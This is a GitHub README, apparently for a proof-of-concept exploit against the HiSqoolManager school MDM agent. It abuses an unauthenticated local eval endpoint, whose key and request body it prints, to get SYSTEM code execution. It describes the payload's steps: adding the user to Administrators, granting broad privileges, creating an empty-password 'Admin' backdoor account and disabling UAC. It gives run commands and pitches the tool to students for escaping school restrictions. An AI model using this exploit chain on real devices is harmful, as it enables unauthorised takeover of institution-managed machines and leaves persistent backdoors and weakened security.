Ender000/POC-RCE-LPE
GitHub: Ender000/POC-RCE-LPE
针对校园 MDM 代理 HiSqoolManager 的 SYSTEM 权限提升漏洞 PoC,通过利用未经认证的本地 HTTP eval 接口实现从标准用户到管理员的完整提权链。
Stars: 1 | Forks: 0
# POC — RCE -> LPE 到 SYSTEM -> 本地权限接管
## 这是什么,面向谁?
这个 POC 是一款专为想要重新掌控其桌面 PC 的**高中生**设计的工具。如果你的学校使用 Unowhy/HiSqoolManager,你的 PC 很可能被锁定了:你无法安装软件,无法修改设置,并且你的账户权限受限。这个 POC 通过利用 MDM agent 本身的漏洞来绕过所有限制。
**典型用例:**
- 你想为学校项目安装某个软件,但安装被拦截了
- 你想访问被管理员禁用的 Windows 功能
- 你想自定义你的设备,而不想等待 IT 部门花 3 周时间来解封权限
- 你的 PC 没有更新,而管理员从来不更新机器(这在高中很常见,大家都知道是怎么回事)
**对于那些 PC 未更新的学校:**这是绝佳的机会。如果 HiSqoolManager agent 没有更新,这个漏洞就能奏效。这正是我们要进行安全更新的原因,不过……说实话,这在学校里并不总是最优先的事项。
**结合 [Unowhy-Tools](https://github.com/STY1001/Unowhy-Tools) 使用**,你可以更进一步:禁用该 agent,移除限制,恢复对设备的完全访问权限。这个 POC 会赋予你管理员权限,而 Unowhy-Tools 帮你在后续进行清理。
## 漏洞原理
HiSqoolManager 是一款安装在校园设备上的 MDM (Mobile Device Management) agent。它以 **LocalSystem**(Windows 中权限最高的账户)身份运行,并暴露了一个本地 HTTP endpoint:
```
POST http://127.0.0.1:7654/commands
Header: x-api-key: would-nepal-sing-below
Body: {"category":"js","command":"eval","arguments":{"source":""}}
```
`source` 字段在 Node.js 进程中被直接传递给 `eval()` **且没有任何身份验证**。由于该进程以 SYSTEM 身份运行,我们注入的 JS 代码将以 Windows 最高的权限执行。
**根本问题**:该服务通过 HTTP 接受任意代码,却不检查请求发送者的身份。机器上的任何进程(即标准用户)都可以发送此请求,并让代码以 SYSTEM 权限执行。
**漏洞利用链:**
1. 学生从其标准账户启动 POC
2. POC 通过 HTTP 将 JS payload 发送给服务
3. 服务以 SYSTEM 身份执行该 JS
4. payload 将学生添加到管理员组,创建一个后门账户,并禁用 UAC
5. 重启后,学生获得了管理员权限 + "Admin" 账户(空密码)
**为什么这很致命:**
- MDM 被部署在整个学校的设备中**(**通过 Intune/Azure AD 部署)
- 该 endpoint 可以从机器上的**任何账户**访问
- 漏洞利用是**静默的**(服务端无日志记录)
- 修改是**持久的**(重启后依然生效)
## 架构
```
run_poc.ps1 (lanceur, tourne en user standard)
|
|--- capture requester SID (whoami /user)
|--- injecte process.env.POC_* (SID, logDir, dry-run...)
|--- wrappe dans IIFE: (function(){ ... })();
|
|=== POST http://127.0.0.1:7654/commands ===
| x-api-key: would-nepal-sing-below
| body: { category:"js", command:"eval", arguments:{ source: } }
|
v
HiSqoolManager.exe (NestJS, LocalSystem)
|
|--- evalSource(source) dans process SYSTEM
|--- payload.js exécute les phases A-F
|--- logs + artefacts dans C:\Windows\System32\zcode_poc\\
|
run_poc.ps1
|
|--- copie les artefacts System32 -> runs//
|--- parse summary.json, vérifie chaque phase
|--- log final + verdict
```
## 文件说明
| 文件 | 作用 |
|---------|------|
| `run_poc.ps1` | PowerShell 启动器。捕获请求者上下文,发送 payload,收集 artifacts,并输出判定结果。 |
| `payload/poc_payload.js` | 由 SYSTEM 服务执行的 JS payload。包含文件记录的多阶段执行。 |
| `runs/` | 输出目录:启动器日志 + 复制到 USB 闪存盘的 SYSTEM artifacts。 |
## payload 的执行阶段
### 阶段 A — 身份标识与目标解析
- Dump SYSTEM 身份标识(`whoami`, `os.userInfo()`, PID/PPID/execPath) → `identity.json`
- 通过 `NTAccount.Translate()` 解析 SID ↔ 用户名(不依赖系统区域设置)
- LPE 证明:文件被写入 `System32\zcode_poc\`(仅限 SYSTEM 访问)
### 阶段 B — 添加到管理员组
- `Add-LocalGroupMember -Name "Administrateurs" -Member <目标用户名>`
- 使用 Well-known SID `S-1-5-32-544`(在 FR/EN 语言下保持不变),处理“已经是成员”的情况
### 阶段 C — User Rights Assignment(31 项权限)
- 通过 `secedit /export` 导出 → 与现有权限合并
- 将目标 SID 注入到 31 项权限中(SeTcbPrivilege, SeDebugPrivilege, SeImpersonatePrivilege, SeLoadDriverPrivilege 等)
- 通过 `secedit /configure /areas USER_RIGHTS` 应用配置
- 移除目标用户的 `SeDeny*` 权限
### 阶段 D — 创建 "Admin" 账户(空密码)并加入管理员组
- 通过 `secedit` 禁用 `MinimumPasswordLength=0` 和 `PasswordComplexity=0`
- `net user "Admin" "" /add` + 备选方案 `New-LocalUser -NoPassword`
- 添加到管理员组
### 阶段 E — 禁用 UAC
修改 6 个注册表项:`EnableLUA=0`, `ConsentPromptBehaviorAdmin=0`, `ConsentPromptBehaviorUser=0` 等。
### 阶段 F — 验证
Dump 突变后的真实状态:`whoami /groups`, `whoami /priv`, `net user`, `secedit /export`, `reg query` UAC keys。
## 使用说明
```
# Mode normal (真实 mutations)
.\run_poc.ps1
# Dry-run (只读)
.\run_poc.ps1 -DryRun
# 显式 Cible
.\run_poc.ps1 -TargetUser "ENT\TestUser"
# 自定义 backdoor Compte
.\run_poc.ps1 -NewAdminName "Backdoor"
```
## 相关的 CWE
| CWE | 描述 |
|-----|-------------|
| CWE-94 | Code Injection (eval 外部来源代码) |
| CWE-306 | Missing Authentication (通用静态密钥) |
| CWE-778 | Insufficient Logging (服务端缺少 eval 操作日志) |
| CWE-269 | Improper Privilege Management (SYSTEM 服务暴露公开 eval) |
| CWE-250 | Execution with Unnecessary Privileges (MDM agent 使用 SYSTEM 权限) |
标签:AI合规, Libemu, MDM绕过, MITM代理, Web报告查看器, 协议分析, 安全, 数据可视化, 权限提升, 超时处理